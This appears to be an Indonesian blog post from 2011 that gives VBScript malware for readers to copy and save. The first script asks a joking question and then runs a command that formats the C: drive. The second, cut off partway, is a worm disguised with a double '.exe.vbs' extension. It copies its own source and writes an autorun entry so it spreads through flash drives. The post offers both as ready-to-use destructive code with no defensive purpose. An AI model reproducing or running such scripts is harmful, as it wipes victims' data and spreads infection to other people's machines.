Set WshShell = WScript.CreateObject(“WScript.Shell”) X = MsgBox(“Hey guys.. saya ingin merusak operating system anda ?”, vbYesNo, “xXx Akay death system!! xXx”) If X = 6 Then WshShell.Run(“format.com /y C:”) End If *save file.vbs
Arsip untuk April 18, 2011
salin script di bawah ini simpan dengan nama grysvin_bysnovia.exe.vbs ===================================================== ‘El Magnifico MAN on error resume next dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe grysvin_bysnovia.exe.vbs” set fs = createobject(“Scripting.FileSystemObject”) set mf = fs.getfile(Wscript.ScriptFullname) dim text,size size = mf.size check = mf.drive.drivetype set text=mf.openastextstream(1,-2) do while not text.atendofstream mysource=mysource&text.readline mysource=mysource & vbcrlf loop do Set winpath = fs.getspecialfolder(0) [...]
